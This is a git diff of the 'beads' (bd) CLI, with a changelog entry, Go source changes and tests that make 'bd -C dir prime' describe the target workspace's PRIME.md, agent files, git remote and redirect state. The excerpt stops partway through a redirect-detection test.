@@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd -C dir prime` now describes the target workspace instead of the launch + directory** ([#5509](https://github.com/gastownhall/beads/issues/5509)). `-C` + resolves `BEADS_DIR` but never changes directory, so prime's cwd-relative + surfaces still described wherever the command was launched: the clone-local + `.beads/PRIME.md` tier, the AGENTS.md/CLAUDE.md divergence reminder, the git + upstream/remote probes behind the template's git-authority wording, and the + redirect notice. All four now resolve against the `-C` target, matching + `cd dir && bd prime`; without `-C` the behavior is byte-for-byte unchanged. + + Note for `-C` users: the git-remote probe prime shares with auto-backup + (`isBackupAutoEnabled`) follows the same change, so under + `bd -C dir ` auto-backup enablement and the `bd backup status` + note are now decided by the `-C` target's git remote rather than the launch + directory's. That makes the probe agree with the store actually being backed + up, but it can flip auto-backup on or off for `-C` invocations whose launch + directory and target differ in remote configuration. + - **`bd close` now exits non-zero when any issue in a batch fails to close** ([#6648](https://github.com/gastownhall/beads/issues/6648)). A batch with one refused id used to exit 0 as long as another id closed, so scripts could not diff --git a/cmd/bd/directory_flag_test.go b/cmd/bd/directory_flag_test.go index bca9ff832..11cb3b0ca 100644 --- a/cmd/bd/directory_flag_test.go +++ b/cmd/bd/directory_flag_test.go @@ -66,6 +66,135 @@ func TestResolveChangeDirBeadsDirRejectsDirectoryWithoutProject(t *testing.T) { } } +const primeTestMetadata = `{"backend":"dolt"}` + +// primeTestWorkspace creates a workspace root (symlinks resolved, so paths +// compare equal to what -C resolution yields) holding an empty .beads/ plus +// the given files, keyed by path relative to the root. +func primeTestWorkspace(t *testing.T, files map[string]string) string { + t.Helper() + dir := t.TempDir() + if resolved, err := filepath.EvalSymlinks(dir); err == nil { + dir = resolved + } + if err := os.MkdirAll(filepath.Join(dir, ".beads"), 0o755); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + for rel, content := range files { + path := filepath.Join(dir, rel) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatalf("mkdir %s: %v", filepath.Dir(path), err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatalf("write %s: %v", path, err) + } + } + return dir +} + +func TestPrimeWorkspaceDir(t *testing.T) { + t.Cleanup(func() { + changeDir = "" + }) + parent := primeTestWorkspace(t, map[string]string{"target/.beads/metadata.json": primeTestMetadata}) + target := filepath.Join(parent, "target") + t.Chdir(parent) + + for _, tc := range []struct{ changeDir, want string }{ + {"", ""}, // no -C: workspace-relative reads stay on the cwd + {" ", ""}, // blank -C is treated as unset, as applyChangeDirSelection does + {target, target}, // absolute -C + {"target", target}, // relative -C, like `bd -C target prime` + } { + changeDir = tc.changeDir + if got := primeWorkspaceDir(); got != tc.want { + t.Errorf("changeDir=%q: primeWorkspaceDir() = %q, want %q", tc.changeDir, got, tc.want) + } + } +} + +func TestReadCustomPrimeContent_ChangeDirPrefersTarget(t *testing.T) { + const cwdPrime = "# CWD local PRIME\ncwd-local-custom\n" + const targetPrime = "# Target workspace PRIME\ntarget-workspace-custom\n" + cwd := primeTestWorkspace(t, map[string]string{".beads/PRIME.md": cwdPrime}) + target := primeTestWorkspace(t, map[string]string{".beads/PRIME.md": targetPrime}) + t.Chdir(cwd) + + // bd -C target prime: the workspace is the -C target, so its clone-local + // PRIME.md wins over the cwd's. + got, ok := readCustomPrimeContent(target, filepath.Join(target, ".beads")) + if !ok { + t.Fatal("expected a custom PRIME.md, got none") + } + if got != targetPrime { + t.Fatalf("with -C target, readCustomPrimeContent = %q, want target %q", got, targetPrime) + } +} + +// Without -C the workspace is the cwd even when BEADS_DIR points elsewhere: the +// cwd's clone-local PRIME.md keeps winning (GH#876), and the redirected +// workspace's file is only the second tier. +func TestReadCustomPrimeContent_EnvRedirectStillLocalFirst(t *testing.T) { + const cwdPrime = "# CWD local PRIME\nenv-redirect-local-wins\n" + const redirectedPrime = "# Redirected workspace PRIME\nenv-redirect-shared\n" + cwd := primeTestWorkspace(t, map[string]string{".beads/PRIME.md": cwdPrime}) + redirected := primeTestWorkspace(t, map[string]string{".beads/PRIME.md": redirectedPrime}) + t.Chdir(cwd) + + got, ok := readCustomPrimeContent("", filepath.Join(redirected, ".beads")) + if !ok { + t.Fatal("expected a custom PRIME.md, got none") + } + if got != cwdPrime { + t.Fatalf("env-only redirect must keep local-first: got %q, want local %q", got, cwdPrime) + } +} + +// -C target is a redirect clone (.beads/redirect -> external store) that also +// carries its own clone-local .beads/PRIME.md. `cd target && bd prime` reads the +// clone-local file ahead of the shared one; `bd -C target prime` must match it, +// not fall through to the external store's PRIME.md and not read the cwd's. +func TestReadCustomPrimeContent_ChangeDirRedirectClonePrefersCloneLocal(t *testing.T) { + const cwdPrime = "# CWD-LOCAL\n" + const clonePrime = "# TARGET-CLONE-LOCAL\n" + const sharedPrime = "# EXTERNAL-SHARED\n" + cwd := primeTestWorkspace(t, map[string]string{".beads/PRIME.md": cwdPrime}) + external := primeTestWorkspace(t, map[string]string{ + ".beads/metadata.json": primeTestMetadata, + ".beads/PRIME.md": sharedPrime, + }) + externalBeads := filepath.Join(external, ".beads") + target := primeTestWorkspace(t, map[string]string{ + ".beads/redirect": externalBeads + "\n", + ".beads/PRIME.md": clonePrime, + }) + + resolvedBeads, err := resolveChangeDirBeadsDir(target) + if err != nil { + t.Fatalf("resolveChangeDirBeadsDir: %v", err) + } + if filepath.Clean(resolvedBeads) != filepath.Clean(externalBeads) { + t.Fatalf("resolved beads = %q, want external %q", resolvedBeads, externalBeads) + } + + // Reference: cd target && bd prime. + t.Chdir(target) + want, ok := readCustomPrimeContent("", resolvedBeads) + if !ok || want != clonePrime { + t.Fatalf("reference (cd target): got %q, %v; want clone-local %q", want, ok, clonePrime) + } + + // Under test: bd -C target prime from an unrelated cwd with its own PRIME.md. + t.Chdir(cwd) + got, ok := readCustomPrimeContent(target, resolvedBeads) + if !ok { + t.Fatal("expected a custom PRIME.md, got none") + } + if got != want { + t.Fatalf("bd -C target must match cd target: got %q, want %q", got, want) + } +} + func TestIsPreviewCommand(t *testing.T) { tests := []struct { name string diff --git a/cmd/bd/prime.go b/cmd/bd/prime.go index 76c3db94e..0e7c45516 100644 --- a/cmd/bd/prime.go +++ b/cmd/bd/prime.go @@ -8,6 +8,7 @@ import ( "fmt" "io" "os" + "os/exec" "path/filepath" "strings" "time" @@ -187,7 +188,7 @@ Memory injection caps: // working under a custom template — matching the default-template behavior // (GH#3941). if !primeExportMode { - if content, ok := readCustomPrimeContent(beadsDir); ok { + if content, ok := readCustomPrimeContent(primeWorkspaceDir(), beadsDir); ok { if !primeNoMemories { if mem := formatMemoriesForPrime(false); mem != "" { content += mem @@ -209,7 +210,7 @@ Memory injection caps: // Append the AGENTS.md/CLAUDE.md divergence reminder only when both // files are independent regulars carrying the bd marker; otherwise this // adds nothing (zero output, negligible cost). - buf.WriteString(primeDivergenceReminder("")) + buf.WriteString(primeDivergenceReminder(primeWorkspaceDir())) emit(buf.String()) return nil }, @@ -229,14 +230,16 @@ func init() { } // readCustomPrimeContent returns the contents of a custom PRIME.md override and -// true when one is found. It checks, in priority order: the local .beads/PRIME.md -// (clone-specific customization), the redirected workspace PRIME.md (shared -// customization), then the global ~/.config/beads/PRIME.md. It returns ("", false) -// when no override exists, so callers fall through to the generated default. -func readCustomPrimeContent(beadsDir string) (string, bool) { - localPrimePath := filepath.Join(".beads", "PRIME.md") - // Try local first (user's clone-specific customization). - // #nosec G304 -- path is relative to cwd +// true when one is found. It checks, in priority order: the workspace-local +// .beads/PRIME.md under workspaceDir (clone-specific customization; "" means +// the cwd), the redirected workspace PRIME.md under beadsDir (shared +// customization), then the global ~/.config/beads/PRIME.md. It returns +// ("", false) when no override exists, so callers fall through to the +// generated default. +func readCustomPrimeContent(workspaceDir, beadsDir string) (string, bool) { + // Try local first (user's clone-specific customization; 4021f4944 / GH#876). + localPrimePath := filepath.Join(workspaceDir, ".beads", "PRIME.md") + // #nosec G304 -- path is relative to the workspace root (-C target or cwd) if content, err := os.ReadFile(localPrimePath); err == nil { return string(content), true } @@ -256,6 +259,46 @@ func readCustomPrimeContent(beadsDir string) (string, bool) { return "", false } +// primeWorkspaceDir returns the directory prime resolves workspace-relative +// state against — the .beads/PRIME.md local tier, the AGENTS.md/CLAUDE.md +// divergence reminder, the git probes behind the default template's +// git-authority wording, and the template's redirect notice: the absolute -C +// target when set, else "" (the process cwd). -C only redirects BEADS_DIR, it does not chdir, so this is what makes +// `bd -C dir prime` match `cd dir && bd prime` (#5509). It is deliberately not +// the parent of the resolved beads dir, which may have followed .beads/redirect +// or walked up from a subdirectory (see the CASE A/B tests in +// prime_divergence_test.go). +func primeWorkspaceDir() string { + if strings.TrimSpace(changeDir) == "" { + return "" + } + abs, err := filepath.Abs(changeDir) + if err != nil { + return filepath.Clean(changeDir) + } + return abs +} + +// primeGitCmd returns the git command prime's repository probes run. Under -C +// it runs in the -C target, so the upstream/remote checks describe the primed +// workspace rather than the process cwd (#5509); otherwise it runs in the +// cwd repository via GitCmdCWD, exactly as before. +// +// NOTE: the probes built here are not prime-only — see primeHasGitRemote for +// the auto-backup consumer that inherits this directory choice. +func primeGitCmd(ctx context.Context, args ...string) (*exec.Cmd, error) { + if ws := primeWorkspaceDir(); ws != "" { + cmd := exec.CommandContext(ctx, "git", args...) + cmd.Dir = ws + return cmd, nil + } + rc, err := internalbeads.GetRepoContext() + if err != nil { + return nil, err + } + return rc.GitCmdCWD(ctx, args...), nil +} + // outputHookJSON wraps content in the SessionStart hook JSON envelope shared // by Claude Code, Gemini CLI, and Codex. All three require stdout to be valid // JSON — no plain text may be emitted alongside it. See: @@ -321,11 +364,10 @@ func isMCPActive() bool { var isEphemeralBranch = func() bool { // git rev-parse --abbrev-ref --symbolic-full-name @{u} // Returns error code 128 if no upstream configured - rc, err := internalbeads.GetRepoContext() + cmd, err := primeGitCmd(context.Background(), "rev-parse", "--abbrev-ref", "--symbolic-full-name", "@{u}") if err != nil { return true // Default to ephemeral if we can't determine context } - cmd := rc.GitCmdCWD(context.Background(), "rev-parse", "--abbrev-ref", "--symbolic-full-name", "@{u}") return cmd.Run() != nil } @@ -343,12 +385,19 @@ var primeAgentProfile = func() config.AgentProfile { } // primeHasGitRemote detects if any git remote is configured (stubbable for tests) +// +// NOTE: despite the prime prefix, this has a consumer outside prime — +// isBackupAutoEnabled (backup_auto.go) gates auto-backup and the +// `bd backup status` note on it. Since it probes through primeGitCmd, +// `bd -C dir ` now keys that decision off the -C target's git +// remote rather than the cwd's (#5509). That is the consistent answer, because +// the store being backed up is the -C-resolved one, but it is a behavior +// change beyond prime: check backup_auto before changing what this probes. var primeHasGitRemote = func() bool { - rc, err := internalbeads.GetRepoContext() + cmd, err := primeGitCmd(context.Background(), "remote") if err != nil { return false } - cmd := rc.GitCmdCWD(context.Background(), "remote") out, err := cmd.Output() if err != nil { return false @@ -379,9 +428,18 @@ func primeDoltSyncBullets(doltSync bool, pushFirst bool) string { "- `bd dolt push` - Push beads to Dolt remote\n" } +// primeRedirectInfo reports the redirect state of the primed workspace: the +// -C target when one is given (#5509), else the process cwd exactly as before. +func primeRedirectInfo() beads.RedirectInfo { + if ws := primeWorkspaceDir(); ws != "" { + return internalbeads.GetRedirectInfoFrom(ws) + } + return beads.GetRedirectInfo() +} + // getRedirectNotice returns a notice string if beads is redirected func getRedirectNotice(verbose bool) string { - redirectInfo := beads.GetRedirectInfo() + redirectInfo := primeRedirectInfo() if !redirectInfo.IsRedirected { return "" } diff --git a/cmd/bd/prime_divergence_test.go b/cmd/bd/prime_divergence_test.go index ddab1034a..225cdaedf 100644 --- a/cmd/bd/prime_divergence_test.go +++ b/cmd/bd/prime_divergence_test.go @@ -99,3 +99,102 @@ func TestPrimeDivergenceReminder_EmptyDirArgUsesCwd(t *testing.T) { t.Fatalf("expected empty for cwd without files, got %q", got) } } + +// The remaining tests cover the workspace the reminder is resolved against +// under -C (#5509): primeWorkspaceDir is the -C directory itself, not the +// parent of the beads dir that -C resolved to. + +func TestPrimeDivergenceWorkspaceDir_ChangeDirUsesTarget(t *testing.T) { + t.Cleanup(func() { + changeDir = "" + }) + // Only the cwd carries divergent agent files; the -C target has none. + cwd := primeTestWorkspace(t, map[string]string{ + ".beads/metadata.json": primeTestMetadata, + "AGENTS.md": "# Agents\n" + markerBlock, + "CLAUDE.md": "# Claude\n" + markerBlock, + }) + target := primeTestWorkspace(t, map[string]string{".beads/metadata.json": primeTestMetadata}) + t.Chdir(cwd) + + changeDir = target + if got := primeDivergenceReminder(primeWorkspaceDir()); got != "" { + t.Fatalf("with -C, reminder against target must be empty, got %q", got) + } + changeDir = "" + if got := primeDivergenceReminder(primeWorkspaceDir()); got == "" { + t.Fatal("control: without -C the cwd fixture must emit a divergence note") + } +} + +// CASE A: the -C target is a redirect clone. The reminder must be resolved +// against the clone (where the agent files live), not against the parent of +// the external store that -C resolved BEADS_DIR to. +func TestPrimeDivergenceWorkspaceDir_RedirectUsesChangeDir(t *testing.T) { + t.Cleanup(func() { + changeDir = "" + }) + external := primeTestWorkspace(t, map[string]string{".beads/metadata.json": primeTestMetadata}) + externalBeads := filepath.Join(external, ".beads") + target := primeTestWorkspace(t, map[string]string{ + ".beads/redirect": externalBeads + "\n", + "AGENTS.md": "# Agents\n" + markerBlock, + "CLAUDE.md": "# Claude\n" + markerBlock, + }) + + resolvedBeads, err := resolveChangeDirBeadsDir(target) + if err != nil { + t.Fatalf("resolveChangeDirBeadsDir: %v", err) + } + if filepath.Clean(resolvedBeads) != filepath.Clean(externalBeads) { + t.Fatalf("resolved beads = %q, want external %q", resolvedBeads, externalBeads) + } + + changeDir = target + ws := primeWorkspaceDir() + if ws != target { + t.Fatalf("CASE A: primeWorkspaceDir = %q, want -C target %q (not parent of redirected beads %q)", ws, target, filepath.Dir(resolvedBeads)) + } + if got := primeDivergenceReminder(ws); got == "" { + t.Fatal("CASE A: reminder against -C target must emit divergence note") + } + if got := primeDivergenceReminder(filepath.Dir(resolvedBeads)); got != "" { + t.Fatalf("control: parent-of-resolved-beads must not emit note, got %q", got) + } +} + +// CASE B: the -C target is a subdirectory of the workspace. -C resolves +// BEADS_DIR by walking up to the root's .beads, but the reminder still reads +// the -C directory itself, as `cd sub && bd prime` would. +func TestPrimeDivergenceWorkspaceDir_SubdirUsesChangeDir(t *testing.T) { + t.Cleanup(func() { + changeDir = "" + }) + wsRoot := primeTestWorkspace(t, map[string]string{ + ".beads/metadata.json": primeTestMetadata, + "AGENTS.md": "# Agents\n" + markerBlock, + "CLAUDE.md": "# Claude\n" + markerBlock, + "sub/.keep": "", + }) + sub := filepath.Join(wsRoot, "sub") + + resolvedBeads, err := resolveChangeDirBeadsDir(sub) + if err != nil { + t.Fatalf("resolveChangeDirBeadsDir: %v", err) + } + if filepath.Clean(resolvedBeads) != filepath.Join(wsRoot, ".beads") { + t.Fatalf("resolved beads = %q, want root %q", resolvedBeads, filepath.Join(wsRoot, ".beads")) + } + + changeDir = sub + ws := primeWorkspaceDir() + if ws != sub { + t.Fatalf("CASE B: primeWorkspaceDir = %q, want -C subdir %q (not parent-of-beads %q)", ws, sub, filepath.Dir(resolvedBeads)) + } + if got := primeDivergenceReminder(ws); got != "" { + t.Fatalf("CASE B: reminder against -C subdir must be empty, got %q", got) + } + if got := primeDivergenceReminder(filepath.Dir(resolvedBeads)); got == "" { + t.Fatal("control: parent-of-beads-dir must emit note (proves CASE B distinguishes the wrong derivation)") + } +} diff --git a/cmd/bd/prime_embedded_test.go b/cmd/bd/prime_embedded_test.go index 3c4d650f7..b0c9f0ffe 100644 --- a/cmd/bd/prime_embedded_test.go +++ b/cmd/bd/prime_embedded_test.go @@ -6,6 +6,7 @@ import ( "fmt" "os" "os/exec" + "path/filepath" "strings" "sync" "testing" @@ -154,3 +155,212 @@ func TestEmbeddedPrimeConcurrent(t *testing.T) { } } } + +// primeChangeDirRepo lays out a minimal beads project (metadata.json is what +// makes .beads a project for -C resolution) inside a fresh git repository on +// branch main, plus the given workspace files. The #5509 tests below build two +// of these and compare `bd -C repo-b prime` run from repo-a against the +// `cd repo-b && bd prime` reference byte for byte. +func primeChangeDirRepo(t *testing.T, files map[string]string) string { + t.Helper() + dir := primeTestWorkspace(t, files) + if err := os.WriteFile(filepath.Join(dir, ".beads", "metadata.json"), []byte(primeTestMetadata), 0o644); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + primeChangeDirGit(t, dir, "init", "-q") + primeChangeDirGit(t, dir, "symbolic-ref", "HEAD", "refs/heads/main") + return dir +} + +// primeChangeDirRedirectClone lays out a git repository on branch main whose +// .beads holds only a redirect to storeBeadsDir: a clone sharing an external +// store, the shape the template's redirect notice describes. +func primeChangeDirRedirectClone(t *testing.T, storeBeadsDir string) string { + t.Helper() + dir := primeTestWorkspace(t, map[string]string{".beads/redirect": storeBeadsDir + "\n"}) + primeChangeDirGit(t, dir, "init", "-q") + primeChangeDirGit(t, dir, "symbolic-ref", "HEAD", "refs/heads/main") + return dir +} + +func primeChangeDirGit(t *testing.T, dir string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = dir + cmd.Env = append(os.Environ(), + "GIT_AUTHOR_NAME=bd-test", "GIT_AUTHOR_EMAIL=bd-test@example.com", + "GIT_COMMITTER_NAME=bd-test", "GIT_COMMITTER_EMAIL=bd-test@example.com", + ) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %s in %s: %v\n%s", strings.Join(args, " "), dir, err, out) + } +} + +// primeChangeDirRun runs bd in dir with env and returns stdout. +func primeChangeDirRun(t *testing.T, bd, dir string, env []string, args ...string) string { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = env + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd %s in %s failed: %v\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), dir, err, stdout.String(), stderr.String()) + } + return stdout.String() +} + +// primeFirstDiff describes the first line at which got and want differ. +func primeFirstDiff(got, want string) string { + gotLines, wantLines := strings.Split(got, "\n"), strings.Split(want, "\n") + for i := 0; i < len(gotLines) || i < len(wantLines); i++ { + var g, w string + if i < len(gotLines) { + g = gotLines[i] + } + if i < len(wantLines) { + w = wantLines[i] + } + if g != w { + return fmt.Sprintf("line %d: got %q, want %q", i+1, g, w) + } + } + return "no differing line" +} + +// The three TestEmbeddedPrimeChangeDir* tests below need no embedded Dolt and +// carry no BEADS_TEST_EMBEDDED_DOLT gate of their own — they are plain `bd` +// subprocess parity tests. The TestEmbedded prefix is deliberate and +// load-bearing in both directions: the fast `./...` lanes run +// -skip '^TestEmbedded' (pr.yml, main.yml), and .github/scripts/embedded-test-shard.sh +// discovers shard members by grepping ^func TestEmbedded in *_embedded_test.go. +// So they run in the full embedded tier, which ci-embedded-tier.sh enables +// unconditionally for merge_group and pushes to main — i.e. in the merge queue +// before this can land, not on every PR push. Renaming them out of the prefix +// moves ~30s of subprocess work into every short lane; renaming the file out of +// *_embedded_test.go drops them from the shard runner entirely. +// +// TestEmbeddedPrimeChangeDirPrimesTarget is the issue's repro end to end +// (#5509): from repo-a, `bd -C repo-b prime` must emit repo-b's PRIME.md, +// identically to `cd repo-b && bd prime`, while plain `bd prime` and an +// env-only BEADS_DIR redirect keep priming the cwd. +func TestEmbeddedPrimeChangeDirPrimesTarget(t *testing.T) { + bd := buildBDForInitTests(t) + const primeA = "# PRIME repo-a\n" + const primeB = "# PRIME repo-b\n" + repoA := primeChangeDirRepo(t, map[string]string{".beads/PRIME.md": primeA}) + repoB := primeChangeDirRepo(t, map[string]string{".beads/PRIME.md": primeB}) + env := bdEnv(repoA) + + if got := primeChangeDirRun(t, bd, repoB, env, "prime", "--no-memories"); got != primeB { + t.Fatalf("reference cd repo-b && bd prime = %q, want %q", got, primeB) + } + if got := primeChangeDirRun(t, bd, repoA, env, "-C", repoB, "prime", "--no-memories"); got != primeB { + t.Fatalf("bd -C repo-b prime from repo-a = %q, want repo-b %q", got, primeB) + } + relB, err := filepath.Rel(repoA, repoB) + if err != nil { + t.Fatalf("relative path to repo-b: %v", err) + } + if got := primeChangeDirRun(t, bd, repoA, env, "-C", relB, "prime", "--no-memories"); got != primeB { + t.Fatalf("bd -C %s prime from repo-a = %q, want repo-b %q", relB, got, primeB) + } + if got := primeChangeDirRun(t, bd, repoA, env, "prime", "--no-memories"); got != primeA { + t.Fatalf("bd prime in repo-a = %q, want %q", got, primeA) + } + envRedirect := append(bdEnv(repoA), "BEADS_DIR="+filepath.Join(repoB, ".beads")) + if got := primeChangeDirRun(t, bd, repoA, envRedirect, "prime", "--no-memories"); got != primeA { + t.Fatalf("env-only BEADS_DIR redirect must stay local-first: got %q, want %q", got, primeA) + } +} + +// TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget covers the generated +// (no PRIME.md) path of #5509. The default template's git-authority wording +// comes from git probes and the AGENTS.md/CLAUDE.md divergence reminder from +// the workspace files; both must describe the -C target, not the cwd. repo-a +// has a remote with an upstream-tracking branch and no agent files; repo-b has +// no remote and both agent files carrying the bd marker. +func TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget(t *testing.T) { + bd := buildBDForInitTests(t) + repoA := primeChangeDirRepo(t, nil) + primeChangeDirGit(t, repoA, "commit", "-q", "--allow-empty", "-m", "init") + primeChangeDirGit(t, repoA, "remote", "add", "origin", filepath.Join(t.TempDir(), "origin.git")) + primeChangeDirGit(t, repoA, "update-ref", "refs/remotes/origin/main", "HEAD") + primeChangeDirGit(t, repoA, "config", "branch.main.remote", "origin") + primeChangeDirGit(t, repoA, "config", "branch.main.merge", "refs/heads/main") + repoB := primeChangeDirRepo(t, map[string]string{ + "AGENTS.md": "# Agents\n" + markerBlock, + "CLAUDE.md": "# Claude\n" + markerBlock, + }) + env := bdEnv(repoA) + + want := primeChangeDirRun(t, bd, repoB, env, "prime", "--no-memories") + cwdOut := primeChangeDirRun(t, bd, repoA, env, "prime", "--no-memories") + if want == cwdOut { + t.Fatal("fixture: repo-a and repo-b must prime differently") + } + got := primeChangeDirRun(t, bd, repoA, env, "-C", repoB, "prime", "--no-memories") + if got != want { + t.Fatalf("bd -C repo-b prime from repo-a differs from cd repo-b && bd prime: %s", primeFirstDiff(got, want)) + } + if got == cwdOut { + t.Fatal("bd -C repo-b prime from repo-a still primes repo-a") + } + // Name the two repo-b facts that must have followed -C. + for _, needle := range []string{ + "No git remote configured", + "AGENTS.md and CLAUDE.md are independent files", + } { + if !strings.Contains(want, needle) { + t.Errorf("fixture: cd repo-b && bd prime lacks %q", needle) + } + if !strings.Contains(got, needle) { + t.Errorf("bd -C repo-b prime from repo-a lacks %q", needle) + } + if strings.Contains(cwdOut, needle) { + t.Errorf("fixture: bd prime in repo-a must not contain %q", needle) + } + } +} + +// TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget covers the default +// template's redirect notice under -C (#5509): it must describe the -C +// target's redirect state in both directions. From a plain repo, +// `bd -C clone prime` must carry the clone's "Redirected" notice naming the +// clone's store; from a redirect clone, `bd -C plain prime` must carry no +// notice and never name the cwd's store. Each direction is compared byte for +// byte with `cd && bd prime`. +func TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget(t *testing.T) { + bd := buildBDForInitTests(t) + plain := primeChangeDirRepo(t, nil) + store := primeTestWorkspace(t, map[string]string{".beads/metadata.json": primeTestMetadata}) + storeBeads := filepath.Join(store, ".beads") + clone := primeChangeDirRedirectClone(t, storeBeads) + env := bdEnv(plain) + + refPlain := primeChangeDirRun(t, bd, plain, env, "prime", "--no-memories") + refClone := primeChangeDirRun(t, bd, clone, env, "prime", "--no-memories") + if !strings.Contains(refClone, "Redirected") || !strings.Contains(refClone, storeBeads) { + t.Fatalf("fixture: cd clone && bd prime must carry a Redirected notice naming %s:\n%s", storeBeads, refClone) + } + if strings.Contains(refPlain, "Redirected") || strings.Contains(refPlain, storeBeads) { + t.Fatalf("fixture: cd plain && bd prime must carry no redirect notice:\n%s", refPlain) + } + + // cwd = plain repo, -C = redirect clone: the clone's notice must appear. + got := primeChangeDirRun(t, bd, plain, env, "-C", clone, "prime", "--no-memories") + if !strings.Contains(got, "Redirected") || !strings.Contains(got, storeBeads) { + t.Errorf("bd -C clone prime from plain lacks the clone's Redirected notice naming %s", storeBeads) + } + if got != refClone { + t.Errorf("bd -C clone prime from plain differs from cd clone && bd prime: %s", primeFirstDiff(got, refClone)) + } + + // cwd = redirect clone, -C = plain repo: no notice, and never the cwd's store. + got = primeChangeDirRun(t, bd, clone, env, "-C", plain, "prime", "--no-memories") + if strings.Contains(got, "Redirected") || strings.Contains(got, storeBeads) { + t.Errorf("bd -C plain prime from clone carries the cwd's redirect notice:\n%s", got) + } + if got != refPlain { + t.Errorf("bd -C plain prime from clone differs from cd plain && bd prime: %s", primeFirstDiff(got, refPlain)) + } +} diff --git a/internal/beads/beads.go b/internal/beads/beads.go index 5b16e9d7b..739a0db50 100644 --- a/internal/beads/beads.go +++ b/internal/beads/beads.go @@ -348,16 +348,41 @@ type RedirectInfo struct { // BEADS_DIR is set. This handles the case where BEADS_DIR is pre-set to the redirect target // (e.g., by shell environment or tooling), but we still need to detect that a redirect exists. func GetRedirectInfo() RedirectInfo { + return redirectInfoFor(findLocalBdsDirInRepo(), findLocalBeadsDir) +} + +// GetRedirectInfoFrom is GetRedirectInfo for the workspace at dir rather than +// the process cwd: the .beads directory at dir's git repository root is +// checked for a redirect first, then the nearest .beads walking up from dir. +// BEADS_DIR is not consulted, since a caller asking about dir has already +// resolved it (under `bd -C dir` it names the redirect target itself, which +// would mask the clone's redirect). Used by `bd -C dir prime` so the redirect +// notice describes the primed workspace (gastownhall/beads#5509). +// +// NOTE: the non-git fallback here is the walk-up probe alone, so relative to +// GetRedirectInfo this drops three cwd-specific tiers: BEADS_DIR (deliberate, +// see above), the worktree-local redirect / separate-DB probe, and +// GetWorktreeFallbackBeadsDir. Inside a git worktree those tiers can answer +// differently, so a caller that has not already resolved dir the way +// `bd -C dir` does wants GetRedirectInfo, not this. +func GetRedirectInfoFrom(dir string) RedirectInfo { + return redirectInfoFor(findLocalBdsDirInRepoFrom(dir), func() string { return findBeadsDirUpward(dir) }) +} + +// redirectInfoFor reports the redirect state given the repo-local .beads +// directory ("" outside a git repository) and a fallback locator for the +// non-git case. +func redirectInfoFor(repoLocalBeadsDir string, fallback func() string) RedirectInfo { // First, always check the git repo's local .beads directory for redirects // This handles the case where BEADS_DIR is pre-set to the redirect target - if localBeadsDir := findLocalBdsDirInRepo(); localBeadsDir != "" { - if info := checkRedirectInDir(localBeadsDir); info.IsRedirected { + if repoLocalBeadsDir != "" { + if info := checkRedirectInDir(repoLocalBeadsDir); info.IsRedirected { return info } } // Fall back to original logic for non-git-repo cases - if localBeadsDir := findLocalBeadsDir(); localBeadsDir != "" { + if localBeadsDir := fallback(); localBeadsDir != "" { return checkRedirectInDir(localBeadsDir) } @@ -392,13 +417,36 @@ func checkRedirectInDir(beadsDir string) RedirectInfo { // This ignores BEADS_DIR to find the "true local" .beads for redirect detection. // bd-wayc3: Added to detect redirects even when BEADS_DIR is pre-set. func findLocalBdsDirInRepo() string { - // Get git repo root - repoRoot := git.GetRepoRoot() + return repoLocalBeadsDir(git.GetRepoRoot()) +} + +// findLocalBdsDirInRepoFrom is findLocalBdsDirInRepo for the git repository +// containing dir rather than the process cwd. +func findLocalBdsDirInRepoFrom(dir string) string { + repoRoot, err := gitOutput(dir, "rev-parse", "--show-toplevel") + if err != nil { + return "" + } + return repoLocalBeadsDir(repoRoot) +} + +// repoLocalBeadsDir returns /.beads when repoRoot is known and the +// directory exists, else "". +// +// repoRoot is canonicalized here so both locators share one form: the cwd +// variant receives it pre-canonicalized from git.GetRepoRoot(), while the From +// variant hands over raw `git rev-parse --show-toplevel` output, which on +// Windows is `C:/...` or msys `/c/...`. Left un-normalized, the os.Stat below +// misses and the repo-local tier falls through to the walk-up locator — the +// fallback bd-wayc3 exists to beat. Canonicalizing after the "" guard is +// deliberate: utils.CanonicalizePath("") resolves to the process cwd, which +// would leak the cwd's .beads into an answer about another directory. +func repoLocalBeadsDir(repoRoot string) string { if repoRoot == "" { return "" } - beadsDir := filepath.Join(repoRoot, ".beads") + beadsDir := filepath.Join(utils.CanonicalizePath(git.NormalizePath(repoRoot)), ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { return beadsDir } @@ -444,8 +492,13 @@ func findLocalBeadsDir() string { if err != nil { return "" } + return findBeadsDirUpward(cwd) +} - walk := NewAncestorDirWalk(cwd, cwd) +// findBeadsDirUpward returns the nearest .beads directory at or above start, +// without following redirects, or "" when there is none. +func findBeadsDirUpward(start string) string { + walk := NewAncestorDirWalk(start, start) for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { beadsDir := filepath.Join(dir, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { diff --git a/internal/beads/beads_coverage_test.go b/internal/beads/beads_coverage_test.go index 1bd355079..87b6d6f5e 100644 --- a/internal/beads/beads_coverage_test.go +++ b/internal/beads/beads_coverage_test.go @@ -421,6 +421,114 @@ func TestCheckRedirectInDir(t *testing.T) { }) } +// TestGetRedirectInfoFrom covers the -C form of redirect detection +// (gastownhall/beads#5509): it reports the named workspace's redirect state, +// while GetRedirectInfo keeps reporting the cwd's, with BEADS_DIR already +// resolved to the store the way `bd -C` sets it. +func TestGetRedirectInfoFrom(t *testing.T) { + t.Cleanup(git.ResetCaches) + tmpDir := t.TempDir() + tmpDir, _ = filepath.EvalSymlinks(tmpDir) + + storeDir := filepath.Join(tmpDir, "store", ".beads") + clone := filepath.Join(tmpDir, "clone") + plain := filepath.Join(tmpDir, "plain") + loose := filepath.Join(tmpDir, 